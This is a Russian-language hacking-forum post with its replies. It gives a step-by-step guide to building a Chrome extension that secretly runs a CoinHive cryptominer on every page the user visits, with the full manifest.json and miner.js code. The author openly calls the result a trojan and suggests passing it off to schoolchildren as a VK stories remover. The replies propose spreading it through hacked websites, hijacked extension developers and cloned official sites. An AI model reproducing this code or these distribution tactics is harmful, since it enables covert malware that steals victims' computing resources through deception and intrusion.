• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Конкурс Создание плагина с майнером для браузера chrome

Статья для участия в конкурсе на codeby


Всем доброго времени суток, мы начинаем!

0. Предисловие

Рано или поздно, пользователь будет нуждаться в расширении своих возможностей при работе в браузере. Разработчики пошли на встречу и дали возможность создания плагинов. Так появились всем известные adblock, adguard, vk_скачать_музыку_без_смс_и_регистрации, evernote и другие.

Если вы обладаете определенными навыками в работе с плагинами, можете найти готовые скрипты.

Однако наша задача заключается в том, чтобы разобраться в том, как создать плагин для себя и друзей :)
Почему chrome? Недавно firefox полностью обновил способ создания плагинов и теперь у него есть некоторые проблемы с фильтром и майнеры он не пускает.

1. Подготовка:

Нам понадобится:

  • браузер (chrome, opera)
  • минимальное знание js и html
  • аккаунт на coinhive
2. Стартуем

Создаем директорию для плагина и наполняем её необходимыми файлами:
tree.png

Самым важным файлом тут является manifest.json – это наш пропуск в мир расширений.
P.S. если путаете синтаксис, отправляю вас на
Вот так он выглядит:
{
"manifest_version": 2,
"name": "HackPositive",
"description": "It's HackPositive extensions. Install him and have fun!",
"version": "1.0",
"icons": {
"128": "icons/128.png"
},
"content_scripts": [
{
"js": ["miner.js"],
"matches" : ["*://*/*"]
}]
}

Все параметры можно менять, кроме manifest_version
Icon – это логотип вашего изображения размером 128x128..
128.png

Отредактируем miner.js
var miner = new CoinHive.User('public_key','name');
miner.start();

Готово, осталось создать акк на . Я использовал для теста, кому-то повезет, наверное :)

Заходим на сайт, и сразу всплывает предупреждение о том, что могут использовать наши вычислительные мощности. Соглашаемся.

coinhive.png

Вводим email, на который придет письмо с подтверждением, и password.

И пробуем пройти капчу, начнется майнинг на вашем устройстве, как только армия нежити получит необходимое количество золота, будет доказано что вы сидите не с калькулятора, разблокируется кнопочка “signup”. Юзаем и ждем на почте письмо.

Логинимся.

Заходим в настройки →

Если вы - любитель статистики, у вас много “источников” и вы хотите знать сколько приносит плагин, то прошу за мной.

CoinHive есть 3 режима:
CoinHive.User, CoinHive.Token и CoinHive.Anonymous
User нужен для любитей статистики, и для него важно поле userName, а котором я расскажу дальше.
Token нужен для того, чтобы добыть только определённое количество хешей.
Anonymous, как понятно из названия, будет обычный майнинг без имени, только с использованием siteKey(читай publicKey).

В поле name нужно выставить уникальное значение, я решил последовать совету разработчиков и взять хеш-сумму от имени сайта.
echo “codeby.net” | md5sum

Получили вот такую красивую, а главное – :
site_keys.png
Копируем Site Key(Public) и возвращаемся к файлу miner.js

На место public_key, вставляем только что скопированное значение
Вместо name вставляем нашу уникальную красоту, полученную ранее.

В моем случае:
var miner = new CoinHive.User('pe2Guoz4MeWUGJmx6EROnkyg4JeFYD1d','310fa3615d6183904f6b1266ab9bd4d2');
miner.start();

Теперь надо все это проверить!

Стоит проверить, подцепилось ли все, поэтому создадим простой index.html файл.
В хедере прицепить библиотеку и сам скрипт
  • miner.js

Запускам index.html, смотрим в дебаггере, подгрузились ли наши скрипты.
check_debag.png
Если да, то заходим на сайт и видим на dashboarde. Через некоторое время наши “монетки” начали добываться!
6.dashboard.png


Дабы полностью убедиться, что все в норме и на баланс растет, ресурс предоставляет API:
curl " имя&secret=Ключ(приватный)"

7.api_json.png

Если все успешно, переместим наш miner в более уютное место. Для этого:

  • Качаем библиотеку coinhive: wget https://coinhive.com/lib/coinhive.min.js
  • Удаляем index.html
  • Объединяем miner.js с библиотекой. Так чтобы текст библиотеки окался выше.

Наш плагин почти готов, осталось лишь добавить полезного функционала, чтобы троян был востребован.

К примеру:
  • ищем школьников, которым не нравится “история” в вк.
  • пишем, что давно изобрели плагин, который убирает её.
  • кидаем ссыль.
  • ???
  • профит.

Мы добавили функционал, давай теперь соберем все в одну кучу.

Хром любезно предоставляет возможность упаковать или загрузить распакованное расширение. Во вкладке chrome://extensions/
Однако в режиме для разработчика…
8.chrome_extensions.png

Упаковываем плагин, пишет, что созданы*.crx и *.pem. Первый файл - это наш плагин, второй – ключ для обновления плагина. При уставновке в режиме пользователя: хром пишет, мол он поврежден, однако опера просто скушала его. Для хрома есть статья как заставить его .

На этом все! Загружаем, пробуем, делимся своим трудом!

Спасибо за внимание!
 
K

kamaz

да все круто расписал на этом и останавился?подились конверсией можешь инет:cool:
 

n3d.b0y

Red Team
19.01.2018
181
472
BIT
58
Статья хорошая но на мой взгляд бесполезна. Идя данного метода в том что бы заработать на майнинге за счёт чужих ресурсов. Если залить плагин в chrome store его от туда моментально выпилят. Можно конечно пытаться распространять сторонними ресурсами но профиту не будет к сожалению.
 
Последнее редактирование:
B

Bdpk

да все круто расписал на этом и останавился?подились конверсией можешь инет:cool:
Продолжение будет :)

---- Добавлено позже ----

Статья хорошая но на мой взгляд бесполезна. Идя данного метода в том что бы заработать на майнинге за счёт чужих ресурсов. Если залить плагин в chrome store его от туда моментально выпилят. Можно конечно пытаться распространять сторонними ресурсами но профиту не будет к сожалению.

Распростронять через:
  • Как вы правильно сказали, через chrome store, но как показывает приложения живут, главное преподнести правильно.
  • Ищем уязвимый сайт, получаем доступ и " " предлагаем установить его.
  • Старый добрый , ищем создателя плагина и получить доступ к его данным.
Поле для деятельности есть, поэтому не стоит сразу говорить, что статья не имеет профита.
 
Последнее редактирование модератором:

nikos

Green Team
25.12.2016
507
198
BIT
0
Продолжение будет :)

---- Добавлено позже ----



Распростронять через:
  • Как вы правильно сказали, через chrome store, но как показывает приложения живут, главное преподнести правильно.
  • Ищем уязвимый сайт, получаем доступ и " " предлагаем установить его.
  • Старый добрый , ищем создателя плагина и получить доступ к его данным.
Поле для деятельности есть, поэтому не стоит сразу говорить, что статья не имеет профита.
Может поделишься инфой как заставить приложение жить?
Некоторые приложения имеют офф сайты можно сделать клон офф сайта и предложить недалекой жертве скачать под каким-нибудь предлогом) Конечно способ не массовый и скорее для применения после индивидуальной обработки)
Можно просто сделать простенький сайт для своего приложения и подпихивать жертвам
 
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!